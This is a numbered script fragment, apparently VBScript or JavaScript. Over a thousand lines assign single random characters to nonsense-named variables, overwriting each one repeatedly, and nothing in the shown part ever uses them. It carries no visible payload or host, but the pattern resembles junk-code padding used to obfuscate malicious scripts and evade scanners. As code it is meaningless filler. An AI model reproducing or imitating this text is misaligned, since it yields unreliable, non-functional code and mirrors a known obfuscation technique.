228	efnqrel = "v";
229	efnqrel = "T";
230	efnqrel = "x";
231	efnqrel = "B";
232	efnqrel = "Y";
233	efnqrel = "D";
234	efnqrel = "l";
235	efnqrel = "N";
236	efnqrel = "t";
237	efnqrel = "j";
238	efnqrel = "l";
239	efnqrel = "O";
240	efnqrel = "G";
241	efnqrel = "P";
242	efnqrel = "R";
243	efnqrel = "Z";
244	efnqrel = "2";
245	rszlnvsj = "p";
246	rszlnvsj = "s";
247	rszlnvsj = "u";
248	rszlnvsj = "Q";
249	rszlnvsj = "x";
250	rszlnvsj = "Y";
251	rszlnvsj = "P";
252	rszlnvsj = "M";
253	rszlnvsj = "u";
254	rszlnvsj = "n";
255	rszlnvsj = "S";
256	rszlnvsj = "e";
257	rszlnvsj = "k";
258	rszlnvsj = "T";
259	rszlnvsj = "o";
260	rszlnvsj = "p";
261	rszlnvsj = "l";
262	rszlnvsj = "x";
263	rszlnvsj = "L";
264	rszlnvsj = "R";
265	rszlnvsj = "S";
266	rszlnvsj = "B";
267	rszlnvsj = "w";
268	rszlnvsj = "O";
269	rszlnvsj = "t";
270	rszlnvsj = "w";
271	rszlnvsj = "d";
272	rszlnvsj = "R";
273	rszlnvsj = "c";
274	rszlnvsj = "J";
275	rszlnvsj = "F";
276	rszlnvsj = "T";
277	rszlnvsj = "q";
278	rszlnvsj = "O";
279	rszlnvsj = "R";
280	rszlnvsj = "P";
281	rszlnvsj = "N";
282	rszlnvsj = "I";
283	rszlnvsj = "X";
284	rszlnvsj = "w";
285	rszlnvsj = ":";
286	mrlvpenj = "F";
287	mrlvpenj = "f";
288	mrlvpenj = "O";
289	mrlvpenj = "y";
290	mrlvpenj = "Y";
291	mrlvpenj = "I";
292	mrlvpenj = "J";
293	mrlvpenj = "j";
294	mrlvpenj = "l";
295	mrlvpenj = "F";
296	mrlvpenj = "w";
297	mrlvpenj = "f";
298	mrlvpenj = "I";
299	kmqcvrl = "O";
300	hugqdz = "b";
301	hugqdz = "j";
302	hugqdz = "a";
303	hugqdz = "u";
304	hugqdz = "B";
305	hugqdz = "o";
306	hugqdz = "H";
307	hugqdz = "a";
308	hugqdz = "c";
309	hugqdz = "q";
310	hugqdz = "t";
311	hugqdz = "g";
312	yruqxtzaj = "F";
313	yruqxtzaj = "B";
314	yruqxtzaj = "D";
315	yruqxtzaj = "W";
316	yruqxtzaj = "f";
317	yruqxtzaj = "u";
318	yruqxtzaj = "p";
319	yruqxtzaj = "A";
320	yruqxtzaj = "Z";
321	yruqxtzaj = "r";
322	yruqxtzaj = "N";
323	yruqxtzaj = "L";
324	yruqxtzaj = "G";
325	yruqxtzaj = "i";
326	yruqxtzaj = "I";
327	yruqxtzaj = "Q";
328	yruqxtzaj = "Z";
329	yruqxtzaj = "z";
330	yruqxtzaj = "a";
331	yruqxtzaj = "v";
332	yruqxtzaj = "f";
333	yruqxtzaj = "X";
334	yruqxtzaj = "Z";
335	yruqxtzaj = "Y";
336	yruqxtzaj = "U";
337	yruqxtzaj = "V";
338	yruqxtzaj = "Z";
339	yruqxtzaj = "h";
340	yruqxtzaj = "f";
341	yruqxtzaj = "k";
342	yruqxtzaj = "T";
343	yruqxtzaj = "f";
344	yruqxtzaj = "t";
345	yruqxtzaj = "D";
346	yruqxtzaj = "v";
347	yruqxtzaj = "u";
348	yruqxtzaj = "u";
349	qxkzzvo = "m";
350	qxkzzvo = "Y";
351	qxkzzvo = "Z";
352	qxkzzvo = "X";
353	qxkzzvo = "m";
354	qxkzzvo = "c";
355	qxkzzvo = "R";
356	qxkzzvo = "j";
357	qxkzzvo = "M";
358	qxkzzvo = "W";
359	qxkzzvo = "t";
360	qxkzzvo = "B";
361	qxkzzvo = "f";
362	qxkzzvo = "u";
363	qxkzzvo = "W";
364	qxkzzvo = "i";
365	qxkzzvo = "n";
366	qxkzzvo = "M";
367	qxkzzvo = "f";
368	qxkzzvo = "H";
369	qxkzzvo = "S";
370	qxkzzvo = "p";
371	qxkzzvo = "a";
372	pegml = "D";
373	pegml = "Y";
374	pegml = "X";
375	pegml = "K";
376	pegml = "F";
377	pegml = "E";
378	pegml = "H";
379	pegml = "G";
380	pegml = "i";
381	pegml = "Y";
382	pegml = "W";
383	pegml = "s";
384	pegml = "r";
385	pegml = "f";
386	pegml = "q";
387	pegml = "L";
388	pegml = "U";
389	pegml = "J";
390	pegml = "Z";
391	pegml = "b";
392	pegml = "P";
393	pegml = "W";
394	pegml = "C";
395	cmlvu = "H";
396	cmlvu = "l";
397	cmlvu = "Q";
398	cmlvu = "H";
399	cmlvu = "V";
400	cmlvu = "y";
401	cmlvu = "q";
402	cmlvu = "T";
403	cmlvu = "U";
404	cmlvu = "c";
405	cmlvu = "b";
406	cmlvu = "f";
407	cmlvu = "P";
408	cmlvu = "J";
409	cmlvu = "W";
410	cmlvu = "z";
411	cmlvu = "k";
412	cmlvu = "L";
413	cmlvu = "X";
414	cmlvu = "E";
415	cmlvu = "M";
416	cmlvu = "z";
417	cmlvu = "K";
418	cmlvu = "p";
419	cmlvu = "s";
420	uvmdfql = "U";
421	uvmdfql = "U";
422	uvmdfql = "Q";
423	uvmdfql = "a";
424	uvmdfql = "H";
425	uvmdfql = "e";
426	uvmdfql = "O";
427	uvmdfql = "d";
428	uvmdfql = "y";
429	uvmdfql = "v";
430	zjspm = "a";
431	zjspm = "U";
432	zjspm = "E";
433	zjspm = "m";
434	zjspm = "m";
435	zjspm = "Z";
436	zjspm = "t";
437	zjspm = "x";
438	zjspm = "G";
439	zjspm = "r";
440	zjspm = "z";
441	zjspm = "y";
442	zjspm = "Z";
443	zjspm = "T";
444	zjspm = "m";
445	zjspm = "S";
446	zjspm = "G";
447	zjspm = "n";
448	zjspm = "d";
449	zjspm = "a";
450	zjspm = "V";
451	zjspm = "c";
452	zjspm = "W";
453	zjspm = "l";
454	zjspm = "y";
455	zjspm = "P";
456	zjspm = "S";
457	zjspm = "u";
458	zjspm = "k";
459	zjspm = "K";
460	zjspm = "c";
461	zjspm = "Q";
462	zjspm = "v";
463	zjspm = "L";
464	qbsfqomqt = "C";
465	qbsfqomqt = "q";
466	qbsfqomqt = "G";
467	qbsfqomqt = "v";
468	qbsfqomqt = "S";
469	dhipfeq = "e";
470	dhipfeq = "a";
471	dhipfeq = "z";
472	dhipfeq = "O";
473	dhipfeq = "m";
474	dhipfeq = "d";
475	dhipfeq = "u";
476	dhipfeq = "b";
477	dhipfeq = "K";
478	dhipfeq = "T";
479	dhipfeq = "W";
480	dhipfeq = "R";
481	dhipfeq = "K";
482	dhipfeq = "K";
483	dhipfeq = "L";
484	dhipfeq = "h";
485	dhipfeq = "K";
486	dhipfeq = "V";
487	dhipfeq = "P";
488	dhipfeq = "x";
489	dhipfeq = "J";
490	dhipfeq = "V";
491	dhipfeq = "R";
492	dhipfeq = "J";
493	dhipfeq = "J";
494	dhipfeq = "C";
495	dhipfeq = "l";
496	dhipfeq = "s";
497	dhipfeq = "s";
498	dhipfeq = "v";
499	dhipfeq = "d";
500	dhipfeq = "F";
501	dhipfeq = "p";
502	dhipfeq = "U";
503	dhipfeq = "M";
504	dhipfeq = "q";
505	gbdqzei = "C";
506	gbdqzei = "o";
507	gbdqzei = "t";
508	gbdqzei = "e";
509	gbdqzei = "x";
510	gbdqzei = "K";
511	gbdqzei = "z";
512	gbdqzei = "q";
513	gbdqzei = "z";
514	gbdqzei = "n";
515	gbdqzei = "k";
516	gbdqzei = "V";
517	gbdqzei = "h";
518	gbdqzei = "p";
519	gbdqzei = "p";
520	gbdqzei = "z";
521	gbdqzei = "u";
522	gbdqzei = "M";
523	gbdqzei = "X";
524	gbdqzei = "K";
525	gbdqzei = "B";
526	gbdqzei = "f";
527	gbdqzei = "T";
528	gbdqzei = "X";
529	gbdqzei = "J";
530	gbdqzei = "H";
531	gbdqzei = "f";
532	gbdqzei = "l";
533	gbdqzei = "P";
534	gbdqzei = "t";
535	gbdqzei = "a";
536	gbdqzei = "I";
537	gbdqzei = "w";
538	gbdqzei = "M";
539	gbdqzei = "R";
540	gbdqzei = "V";
541	gbdqzei = "B";
542	gbdqzei = "B";
543	gbdqzei = "K";
544	gbdqzei = "y";
545	gbdqzei = "E";
546	bbrjoqs = "J";
547	bbrjoqs = "D";
548	bbrjoqs = "H";
549	bbrjoqs = "B";
550	bbrjoqs = "O";
551	bbrjoqs = "c";
552	bbrjoqs = "K";
553	bbrjoqs = "F";
554	bbrjoqs = "P";
555	bbrjoqs = "N";
556	lbpikiuq = "G";
557	lbpikiuq = "w";
558	lbpikiuq = "F";
559	lbpikiuq = "r";
560	lbpikiuq = "p";
561	lbpikiuq = "q";
562	lbpikiuq = "x";
563	lbpikiuq = "V";
564	lbpikiuq = "F";
565	lbpikiuq = "s";
566	lbpikiuq = "p";
567	lbpikiuq = "W";
568	lbpikiuq = "G";
569	lbpikiuq = "U";
570	lbpikiuq = "u";
571	lbpikiuq = "g";
572	lbpikiuq = "G";
573	lbpikiuq = "D";
574	lbpikiuq = "v";
575	lbpikiuq = "D";
576	lbpikiuq = "i";
577	lbpikiuq = "N";
578	lbpikiuq = "E";
579	lbpikiuq = "k";
580	lbpikiuq = "G";
581	lbpikiuq = "k";
582	lbpikiuq = "D";
583	lbpikiuq = "H";
584	lbpikiuq = "Q";
585	lbpikiuq = "G";
586	lbpikiuq = "C";
587	lbpikiuq = "M";
588	lbpikiuq = "Z";
589	lbpikiuq = "l";
590	lbpikiuq = "I";
591	lbpikiuq = "O";
592	lbpikiuq = "Q";
593	lbpikiuq = "B";
594	lbpikiuq = "Z";
595	lbpikiuq = "d";
596	lbpikiuq = "Q";
597	lbpikiuq = "r";
598	lbpikiuq = "8";
599	rnmpurnh = "O";
600	rnmpurnh = "y";
601	rnmpurnh = "p";
602	rnmpurnh = "u";
603	rnmpurnh = "o";
604	rnmpurnh = "x";
605	rnmpurnh = "E";
606	rnmpurnh = "k";
607	rnmpurnh = "i";
608	rnmpurnh = "p";
609	rnmpurnh = "t";
610	rnmpurnh = "l";
611	rnmpurnh = "N";
612	rnmpurnh = "P";
613	rnmpurnh = "o";
614	rnmpurnh = "K";
615	rnmpurnh = "q";
616	rnmpurnh = "K";
617	rnmpurnh = "o";
618	rnmpurnh = "x";
619	rnmpurnh = "G";
620	rnmpurnh = "t";
621	rnmpurnh = "V";
622	rnmpurnh = "M";
623	rnmpurnh = "P";
624	rnmpurnh = "U";
625	rnmpurnh = "L";
626	rnmpurnh = "X";
627	rnmpurnh = "L";
628	rnmpurnh = "Y";
629	rnmpurnh = "Y";
630	rnmpurnh = "s";
631	rnmpurnh = "h";
632	rnmpurnh = "a";
633	rnmpurnh = "Z";
634	rnmpurnh = "W";
635	rnmpurnh = "T";
636	rnmpurnh = "e";
637	rnmpurnh = "T";
638	rnmpurnh = "f";
639	rnmpurnh = "y";
640	rnmpurnh = "9";
641	cngbehu = "w";
642	cngbehu = "X";
643	cngbehu = "x";
644	cngbehu = "A";
645	cngbehu = "w";
646	cngbehu = "w";
647	cngbehu = "w";
648	cngbehu = "c";
649	cngbehu = "q";
650	cngbehu = "d";
651	cngbehu = "h";
652	cngbehu = "e";
653	cngbehu = "v";
654	cngbehu = "i";
655	cngbehu = "w";
656	cngbehu = "F";
657	cngbehu = "T";
658	cngbehu = "q";
659	cngbehu = "w";
660	dhpdcbrbw = "U";
661	dhpdcbrbw = "p";
662	dhpdcbrbw = "W";
663	dhpdcbrbw = "h";
664	dhpdcbrbw = "Q";
665	dhpdcbrbw = "K";
666	dhpdcbrbw = "L";
667	dhpdcbrbw = "5";
668	cwuobmkc = "m";
669	cwuobmkc = "s";
670	cwuobmkc = "V";
671	cwuobmkc = "u";
672	cwuobmkc = "c";
673	cwuobmkc = "l";
674	cwuobmkc = "k";
675	cwuobmkc = "d";
676	cwuobmkc = "q";
677	cwuobmkc = "H";
678	cwuobmkc = "u";
679	cwuobmkc = "O";
680	cwuobmkc = "j";
681	cwuobmkc = "d";
682	cwuobmkc = "b";
683	cwuobmkc = "w";
684	cwuobmkc = "n";
685	cwuobmkc = "N";
686	cwuobmkc = "V";
687	cwuobmkc = "Y";
688	cwuobmkc = "g";
689	cwuobmkc = "M";
690	cwuobmkc = "G";
691	cwuobmkc = "i";
692	cwuobmkc = "v";
693	cwuobmkc = "O";
694	cwuobmkc = "c";
695	cwuobmkc = "q";
696	cwuobmkc = "S";
697	cwuobmkc = "e";
698	cwuobmkc = "S";
699	cwuobmkc = "I";
700	cwuobmkc = "Y";
701	cwuobmkc = "Y";
702	cwuobmkc = "j";
703	cwuobmkc = "v";
704	cwuobmkc = "N";
705	cwuobmkc = "e";
706	fylwjtz = "e";
707	fylwjtz = "S";
708	fylwjtz = "o";
709	fylwjtz = "T";
710	fylwjtz = "u";
711	fylwjtz = "r";
712	fylwjtz = "S";
713	fylwjtz = "w";
714	fylwjtz = "m";
715	fylwjtz = "Q";
716	fylwjtz = "C";
717	fylwjtz = "i";
718	fylwjtz = "F";
719	fylwjtz = "a";
720	fylwjtz = "p";
721	fylwjtz = "k";
722	fylwjtz = "D";
723	fylwjtz = "D";
724	fylwjtz = "i";
725	fylwjtz = "u";
726	fylwjtz = "O";
727	fylwjtz = "B";
728	fylwjtz = "l";
729	fylwjtz = "P";
730	fylwjtz = "n";
731	fylwjtz = "c";
732	fylwjtz = "F";
733	fylwjtz = "k";
734	fylwjtz = "u";
735	fylwjtz = "P";
736	wxluimmb = "h";
737	wxluimmb = "g";
738	wxluimmb = "c";
739	wxluimmb = "S";
740	wxluimmb = "Z";
741	wxluimmb = "w";
742	wxluimmb = "n";
743	wxluimmb = "J";
744	wxluimmb = "B";
745	wxluimmb = "G";
746	wxluimmb = "G";
747	wxluimmb = "S";
748	wxluimmb = "I";
749	wxluimmb = "f";
750	wxluimmb = "h";
751	wxluimmb = "L";
752	wxluimmb = "E";
753	wxluimmb = "l";
754	wxluimmb = "t";
755	ilvcph = "P";
756	ilvcph = "Z";
757	ilvcph = "z";
758	ilvcph = "R";
759	ilvcph = "q";
760	ilvcph = "/";
761	lvxnaqbv = "w";
762	lvxnaqbv = "A";
763	lvxnaqbv = "o";
764	lvxnaqbv = "L";
765	lvxnaqbv = "W";
766	lvxnaqbv = "n";
767	lvxnaqbv = "r";
768	lvxnaqbv = "v";
769	lvxnaqbv = "R";
770	lvxnaqbv = "f";
771	lvxnaqbv = "h";
772	lvxnaqbv = "O";
773	lvxnaqbv = "n";
774	yrwppkze = "p";
775	yrwppkze = "d";
776	yrwppkze = "g";
777	yrwppkze = "n";
778	yrwppkze = "m";
779	yrwppkze = "X";
780	yrwppkze = "W";
781	yrwppkze = "w";
782	yrwppkze = "N";
783	yrwppkze = "b";
784	yrwppkze = "I";
785	yrwppkze = "L";
786	yrwppkze = "p";
787	yrwppkze = "g";
788	yrwppkze = "x";
789	yrwppkze = "i";
790	yrwppkze = "j";
791	yrwppkze = "Q";
792	yrwppkze = "u";
793	yrwppkze = "-";
794	joxggcbgi = "G";
795	joxggcbgi = "o";
796	joxggcbgi = "T";
797	joxggcbgi = "F";
798	joxggcbgi = "C";
799	joxggcbgi = "D";
800	joxggcbgi = "m";
801	joxggcbgi = "o";
802	joxggcbgi = "R";
803	joxggcbgi = "P";
804	joxggcbgi = "T";
805	joxggcbgi = "i";
806	joxggcbgi = "o";
807	joxggcbgi = "t";
808	joxggcbgi = "G";
809	joxggcbgi = "E";
810	joxggcbgi = "J";
811	joxggcbgi = "c";
812	joxggcbgi = "T";
813	joxggcbgi = "B";
814	joxggcbgi = "p";
815	joxggcbgi = "G";
816	joxggcbgi = "e";
817	joxggcbgi = "q";
818	joxggcbgi = "V";
819	joxggcbgi = "d";
820	joxggcbgi = "P";
821	joxggcbgi = "M";
822	joxggcbgi = "A";
823	joxggcbgi = "o";
824	joxggcbgi = "m";
825	joxggcbgi = "V";
826	joxggcbgi = "r";
827	qdyxwb = "Z";
828	qdyxwb = "F";
829	qdyxwb = "J";
830	qdyxwb = "i";
831	qdyxwb = "V";
832	qdyxwb = "H";
833	qdyxwb = "y";
834	qdyxwb = "J";
835	qdyxwb = "z";
836	qdyxwb = "A";
837	qdyxwb = "G";
838	qdyxwb = "S";
839	qdyxwb = "Q";
840	qdyxwb = "R";
841	qdyxwb = "t";
842	qdyxwb = "T";
843	qdyxwb = "c";
844	qdyxwb = "a";
845	qdyxwb = "x";
846	qdyxwb = "J";
847	qdyxwb = "h";
848	qdyxwb = "q";
849	qdyxwb = "x";
850	qdyxwb = "v";
851	qdyxwb = "C";
852	qdyxwb = "J";
853	qdyxwb = "r";
854	qdyxwb = "g";
855	qdyxwb = "M";
856	qdyxwb = "H";
857	qdyxwb = "G";
858	qdyxwb = "b";
859	qdyxwb = "y";
860	qdyxwb = "o";
861	qdyxwb = "I";
862	qdyxwb = "a";
863	qdyxwb = "S";
864	qdyxwb = "t";
865	qdyxwb = "V";
866	qdyxwb = "K";
867	qdyxwb = "u";
868	qdyxwb = "c";
869	jsphw = "M";
870	jsphw = "R";
871	jsphw = "Z";
872	jsphw = "G";
873	jsphw = "Y";
874	jsphw = "j";
875	jsphw = "L";
876	jsphw = "I";
877	jsphw = "m";
878	jsphw = "P";
879	jsphw = "y";
880	jsphw = "D";
881	jsphw = "L";
882	jsphw = "Y";
883	jsphw = "s";
884	jsphw = "F";
885	jsphw = "w";
886	jsphw = "_";
887	zdirzjwz = "s";
888	zdirzjwz = "B";
889	zdirzjwz = "z";
890	zdirzjwz = "P";
891	zdirzjwz = "j";
892	zdirzjwz = "c";
893	zdirzjwz = "X";
894	zdirzjwz = "l";
895	zdirzjwz = "J";
896	zdirzjwz = "H";
897	zdirzjwz = "u";
898	zdirzjwz = "o";
899	zdirzjwz = "f";
900	zdirzjwz = "n";
901	zdirzjwz = "m";
902	zdirzjwz = "A";
903	zdirzjwz = "h";
904	zdirzjwz = "C";
905	zdirzjwz = "l";
906	zdirzjwz = "R";
907	zdirzjwz = "f";
908	zdirzjwz = "T";
909	zdirzjwz = "e";
910	zdirzjwz = "V";
911	zdirzjwz = "A";
912	zdirzjwz = "3";
913	lzfwioij = "y";
914	lzfwioij = "a";
915	lzfwioij = "c";
916	lzfwioij = "u";
917	lzfwioij = "u";
918	lzfwioij = "d";
919	lzfwioij = "j";
920	lzfwioij = "K";
921	lzfwioij = "t";
922	lzfwioij = "P";
923	lzfwioij = "A";
924	lzfwioij = "v";
925	lzfwioij = "r";
926	lzfwioij = "Q";
927	lzfwioij = "t";
928	lzfwioij = "y";
929	lzfwioij = "X";
930	lzfwioij = "a";
931	lzfwioij = "u";
932	lzfwioij = "S";
933	lzfwioij = "s";
934	lzfwioij = "v";
935	lzfwioij = "f";
936	lzfwioij = "g";
937	lzfwioij = "Y";
938	lzfwioij = "L";
939	lzfwioij = "B";
940	lzfwioij = "q";
941	lzfwioij = "L";
942	lzfwioij = "q";
943	lzfwioij = "n";
944	lzfwioij = "H";
945	lzfwioij = "b";
946	lzfwioij = "D";
947	lzfwioij = "w";
948	lzfwioij = "r";
949	lzfwioij = "x";
950	lzfwioij = "l";
951	lzfwioij = "U";
952	ikfsq = "s";
953	ikfsq = "d";
954	ikfsq = "y";
955	ikfsq = "v";
956	ikfsq = "S";
957	ikfsq = "u";
958	ikfsq = "L";
959	ikfsq = "u";
960	ikfsq = "G";
961	ikfsq = "f";
962	ikfsq = "r";
963	ikfsq = "I";
964	ikfsq = "R";
965	ikfsq = "t";
966	ikfsq = "D";
967	ikfsq = "R";
968	ikfsq = "E";
969	ikfsq = "H";
970	ikfsq = "k";
971	dbpnga = "R";
972	dbpnga = "c";
973	dbpnga = "C";
974	dbpnga = "B";
975	dbpnga = "s";
976	dbpnga = "T";
977	dbpnga = "G";
978	dbpnga = "u";
979	dbpnga = "a";
980	dbpnga = "J";
981	dbpnga = "D";
982	dbpnga = "M";
983	dbpnga = "o";
984	dbpnga = "h";
985	dbpnga = "Z";
986	dbpnga = "A";
987	dbpnga = "Z";
988	dbpnga = "L";
989	dbpnga = "q";
990	dbpnga = "Z";
991	dbpnga = "y";
992	dbpnga = "z";
993	dbpnga = "V";
994	dbpnga = "f";
995	dbpnga = "h";
996	dbpnga = "L";
997	dbpnga = "T";
998	dbpnga = "l";
999	dbpnga = "l";
1000	dbpnga = "S";
1001	dbpnga = "U";
1002	dbpnga = "Y";
1003	dbpnga = "j";
1004	fcdnixyfg = "L";
1005	fcdnixyfg = "r";
1006	fcdnixyfg = "V";
1007	fcdnixyfg = "g";
1008	fcdnixyfg = "G";
1009	fcdnixyfg = "F";
1010	fcdnixyfg = "g";
1011	fcdnixyfg = "z";
1012	fcdnixyfg = "m";
1013	fcdnixyfg = "c";
1014	fcdnixyfg = "f";
1015	fcdnixyfg = "t";
1016	fcdnixyfg = "Z";
1017	fcdnixyfg = "B";
1018	fcdnixyfg = "t";
1019	fcdnixyfg = "q";
1020	fcdnixyfg = "p";
1021	nhxsh = "J";
1022	nhxsh = "w";
1023	nhxsh = "u";
1024	nhxsh = "r";
1025	nhxsh = "R";
1026	gijfuxu = "E";
1027	gijfuxu = "W";
1028	gijfuxu = "y";
1029	gijfuxu = "y";
1030	gijfuxu = "w";
1031	gijfuxu = "f";
1032	gijfuxu = "z";
1033	gijfuxu = "f";
1034	gijfuxu = "m";
1035	gijfuxu = "X";
1036	gijfuxu = "B";
1037	gijfuxu = "N";
1038	gijfuxu = "v";
1039	gijfuxu = "p";
1040	gijfuxu = "Y";
1041	gijfuxu = "d";
1042	gijfuxu = "e";
1043	gijfuxu = "d";
1044	gijfuxu = "B";
1045	gijfuxu = "A";
1046	gijfuxu = "C";
1047	gijfuxu = "O";
1048	gijfuxu = "%";
1049	hrnjkgcnr = "K";
1050	hrnjkgcnr = "x";
1051	hrnjkgcnr = "K";
1052	hrnjkgcnr = "t";
1053	hrnjkgcnr = "x";
1054	hrnjkgcnr = "G";
1055	hrnjkgcnr = "r";
1056	hrnjkgcnr = "Z";
1057	hrnjkgcnr = "c";
1058	hrnjkgcnr = "k";
1059	hrnjkgcnr = "D";
1060	hrnjkgcnr = "N";
1061	hrnjkgcnr = "J";
1062	hrnjkgcnr = "N";
1063	hrnjkgcnr = "W";
1064	hrnjkgcnr = "W";
1065	hrnjkgcnr = "e";
1066	hrnjkgcnr = "u";
1067	hrnjkgcnr = "j";
1068	hrnjkgcnr = "J";
1069	hrnjkgcnr = "t";
1070	hrnjkgcnr = "p";
1071	hrnjkgcnr = "N";
1072	hrnjkgcnr = "s";
1073	hrnjkgcnr = "v";
1074	hrnjkgcnr = "O";
1075	hrnjkgcnr = "p";
1076	hrnjkgcnr = "l";
1077	hrnjkgcnr = "h";
1078	hrnjkgcnr = "S";
1079	hrnjkgcnr = "v";
1080	hrnjkgcnr = "1";
1081	bahrmtlwo = "r";
1082	bahrmtlwo = "B";
1083	bahrmtlwo = "x";
1084	bahrmtlwo = "N";
1085	bahrmtlwo = "Z";
1086	bahrmtlwo = "O";
1087	bahrmtlwo = "B";
1088	bahrmtlwo = "f";
1089	bahrmtlwo = "k";
1090	bahrmtlwo = "Y";
1091	bahrmtlwo = "M";
1092	bahrmtlwo = "H";
1093	bahrmtlwo = "r";
1094	bahrmtlwo = "j";
1095	bahrmtlwo = "y";
1096	bahrmtlwo = "y";
1097	bahrmtlwo = "\\";
1098	tfvcftcc = "i";
1099	tfvcftcc = "u";
1100	tfvcftcc = "X";
1101	tfvcftcc = "Z";
1102	tfvcftcc = "m";
1103	tfvcftcc = "u";
1104	tfvcftcc = "T";
1105	tfvcftcc = "u";
1106	tfvcftcc = "m";
1107	tfvcftcc = "n";
1108	tfvcftcc = "B";
1109	tfvcftcc = "g";
1110	tfvcftcc = "d";
1111	tfvcftcc = "P";
1112	tfvcftcc = "V";
1113	tfvcftcc = "N";
1114	tfvcftcc = "u";
1115	tfvcftcc = "M";
1116	tfvcftcc = "p";
1117	tfvcftcc = "e";
1118	tfvcftcc = "h";
1119	tfvcftcc = "m";
1120	tfvcftcc = "U";
1121	tfvcftcc = "R";
1122	tfvcftcc = "v";
1123	tfvcftcc = "h";
1124	tfvcftcc = "a";
1125	tfvcftcc = "G";
1126	tfvcftcc = "U";
1127	tfvcftcc = "F";
1128	tfvcftcc = "P";
1129	tfvcftcc = "v";
1130	tfvcftcc = "I";
1131	tfvcftcc = "F";
1132	tfvcftcc = "Y";
1133	tfvcftcc = "z";
1134	tfvcftcc = "f";
1135	teorfupm = "r";
1136	teorfupm = "I";
1137	teorfupm = "R";
1138	teorfupm = "V";
1139	teorfupm = "S";
1140	teorfupm = "S";
1141	teorfupm = "c";
1142	teorfupm = "p";
1143	teorfupm = "l";
1144	teorfupm = "m";
1145	teorfupm = "T";
1146	teorfupm = ".";
1147	mtcklpdzg = "P";
1148	mtcklpdzg = "@";
1149	fcmlpkm = "J";
1150	fcmlpkm = "v";
1151	fcmlpkm = "D";
1152	fcmlpkm = "v";
1153	fcmlpkm = "U";
1154	fcmlpkm = "j";
1155	fcmlpkm = "Y";
1156	errwuan = "o";
1157	errwuan = "X";
1158	errwuan = "u";
1159	errwuan = "Q";
1160	errwuan = "x";
1161	errwuan = "O";
1162	errwuan = "S";
1163	errwuan = "f";
1164	errwuan = "t";
1165	errwuan = "w";
1166	errwuan = "w";
1167	errwuan = "c";
1168	errwuan = "N";
1169	errwuan = "A";
1170	errwuan = "y";
1171	errwuan = "b";
1172	errwuan = "G";
1173	errwuan = "P";
1174	errwuan = "H";
1175	errwuan = "v";
1176	errwuan = "W";
1177	errwuan = "W";
1178	errwuan = "B";
1179	errwuan = "P";
1180	errwuan = "L";
1181	errwuan = "s";
1182	errwuan = "7";
1183	obwqwjrav = "w";
1184	obwqwjrav = "K";
1185	obwqwjrav = "b";
1186	obwqwjrav = "r";
1187	obwqwjrav = "b";
1188	obwqwjrav = "S";
1189	obwqwjrav = "I";
1190	obwqwjrav = "v";
1191	obwqwjrav = "M";
1192	obwqwjrav = "q";
1193	obwqwjrav = "J";
1194	obwqwjrav = "p";
1195	obwqwjrav = "U";
1196	obwqwjrav = "L";
1197	obwqwjrav = "i";
1198	obwqwjrav = "P";
1199	obwqwjrav = "N";
1200	obwqwjrav = "T";
1201	obwqwjrav = "d";
1202	obwqwjrav = "N";
1203	obwqwjrav = "O";
1204	obwqwjrav = "k";
1205	obwqwjrav = "B";
1206	obwqwjrav = "f";
1207	obwqwjrav = "g";
1208	obwqwjrav = "s";
1209	obwqwjrav = "k";
1210	obwqwjrav = "z";
1211	obwqwjrav = "W";
1212	obwqwjrav = "d";
1213	obwqwjrav = "j";
1214	obwqwjrav = "t";
1215	obwqwjrav = "R";
1216	obwqwjrav = "r";
1217	obwqwjrav = "b";
1218	obwqwjrav = "T";
1219	obwqwjrav = "K";
1220	obwqwjrav = "O";
1221	obwqwjrav = "&";
1222	ddxjlvpk = "R";
1223	ddxjlvpk = "T";
1224	ddxjlvpk = "R";
1225	ddxjlvpk = "V";
1226	ddxjlvpk = "Q";
1227	ddxjlvpk = "l";
1228	ddxjlvpk = "z";
1229	ddxjlvpk = "s";
1230	ddxjlvpk = "s";
1231	ddxjlvpk = "m";
1232	ddxjlvpk = "b";
1233	izfnxzoo = "F";
1234	izfnxzoo = "m";
1235	izfnxzoo = "A";
1236	izfnxzoo = "R";
1237	izfnxzoo = "f";
1238	izfnxzoo = "b";
1239	izfnxzoo = "Q";
1240	izfnxzoo = "K";
1241	izfnxzoo = "j";
1242	izfnxzoo = "T";
1243	izfnxzoo = "Z";
1244	izfnxzoo = "F";
1245	rvopcgp = "y";
1246	rvopcgp = "T";
1247	rvopcgp = "F";
1248	rvopcgp = "T";
1249	rvopcgp = "B";
1250	rvopcgp = "M";
1251	rvopcgp = "r";
1252	rvopcgp = "d";
1253	rvopcgp = "D";
1254	rvopcgp = "o";
1255	rvopcgp = "K";
1256	rvopcgp = "E";
1257	rvopcgp = "X";
1258	rvopcgp = "y";
1259	rvopcgp = "G";
1260	rvopcgp = "K";
1261	rvopcgp = "O";
1262	rvopcgp = "q";
1263	rvopcgp = "k";
1264	rvopcgp = "T";
1265	yutxdm = "U";
1266	yutxdm = "O";
1267	yutxdm = "c";
1268	yutxdm = "i";
1269	yutxdm = "l";
1270	yutxdm = "k";
1271	yutxdm = "p";
1272	yutxdm = "t";
1273	yutxdm = "x";
1274	yutxdm = "L";
1275	yutxdm = "S";
1276	yutxdm = "j";
1277	yutxdm = "K";
1278	yutxdm = "y";
1279	yutxdm = "O";
1280	yutxdm = "D";
1281	yutxdm = "K";
1282	yutxdm = "Y";
1283	yutxdm = "M";
1284	yutxdm = "S";
1285	yutxdm = "R";
1286	yutxdm = "W";
1287	yutxdm = "z";
1288	yutxdm = "q";
1289	yutxdm = "Z";
1290	yutxdm = "o";
1291	yutxdm = "W";
1292	yutxdm = "m";
1293	yutxdm = "m";
1294	yutxdm = "s";
1295	yutxdm = "f";
1296	yutxdm = "Z";
1297	yutxdm = "j";
1298	yutxdm = "M";
1299	yutxdm = "f";
1300	yutxdm = "f";
1301	yutxdm = "g";
1302	yutxdm = "b";
1303	yutxdm = "t";
1304	yutxdm = "H";
1305	anina = "Q";
1306	anina = "m";
1307	anina = "S";
1308	anina = "G";
1309	anina = "W";
1310	anina = "M";
1311	anina = "I";
1312	anina = "Y";
1313	anina = "U";
1314	anina = "l";
1315	anina = "R";
1316	anina = "l";
1317	anina = "u";
1318	anina = "i";
1319	anina = "m";
1320	anina = "i";
1321	anina = "g";
1322	anina = "m";
1323	anina = "o";
1324	anina = "B";
1325	anina = "f";
1326	anina = "K";
1327	anina = "G";
1328	anina = "X";
1329	anina = "c";
1330	anina = "l";
1331	anina = "W";
1332	anina = "y";
1333	anina = "T";
1334	anina = "W";
1335	anina = "L";
1336	anina = "B";
1337	anina = "V";
1338	anina = "B";
1339	anina = "T";
